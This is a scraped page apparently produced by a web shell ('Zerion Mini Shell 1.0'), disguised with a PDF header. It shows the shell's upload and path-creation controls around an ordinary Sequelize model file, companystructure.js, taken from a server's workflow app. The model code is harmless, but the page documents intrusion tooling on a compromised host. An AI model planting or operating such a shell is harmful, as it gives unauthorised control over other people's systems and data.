%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/models/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/models/companystructure.js

'use strict';

module.exports = (sequelize, DataTypes) => {
  const CompanyStructure = sequelize.define('CompanyStructure', {
    orgId: DataTypes.INTEGER,
    orgStructureId: DataTypes.INTEGER,
    parentStructureId: DataTypes.INTEGER,
    name: DataTypes.STRING,
    email: DataTypes.STRING,
    headId: DataTypes.INTEGER,
    assistantId: DataTypes.INTEGER,
    createdBy: DataTypes.INTEGER,
    UpdatedBy: DataTypes.INTEGER,
    deletedAt: DataTypes.DATE,
    deletedBy: DataTypes.INTEGER
  }, {});

  CompanyStructure.associate = function(models) {
    // associations can be defined here
  CompanyStructure.belongsTo(models.Organization, {foreignKey: 'orgId', targetKey: 'id', as: 'organisation'});
  // CompanyStructure.belongsTo(models.Structure, {foreignKey: 'parentStructureId', targetKey: 'id', as: 'parentStructure'});
  CompanyStructure.belongsTo(models.OrganisationStructure, {foreignKey: 'orgStructureId', targetKey: 'id', as: 'orgStructure'});
  CompanyStructure.belongsTo(models.User, {foreignKey: 'headId', targetKey: 'id', as: 'head'});
  CompanyStructure.belongsTo(models.User, {foreignKey: 'assistantId', targetKey: 'id', as: 'assistant'});
  CompanyStructure.hasMany(models.User, {foreignKey: 'companyStructureId', sourceKey: 'id', as: 'employees'})
  CompanyStructure.hasMany(models.Workflow, { foreignKey: 'companyStructureId', as:'workflows'});


  //for bovas workflow
  CompanyStructure.hasMany(models.Flow, { foreignKey: 'companyStructureId', as:'flows'});

  };
  return CompanyStructure;
}

Zerion Mini Shell 1.0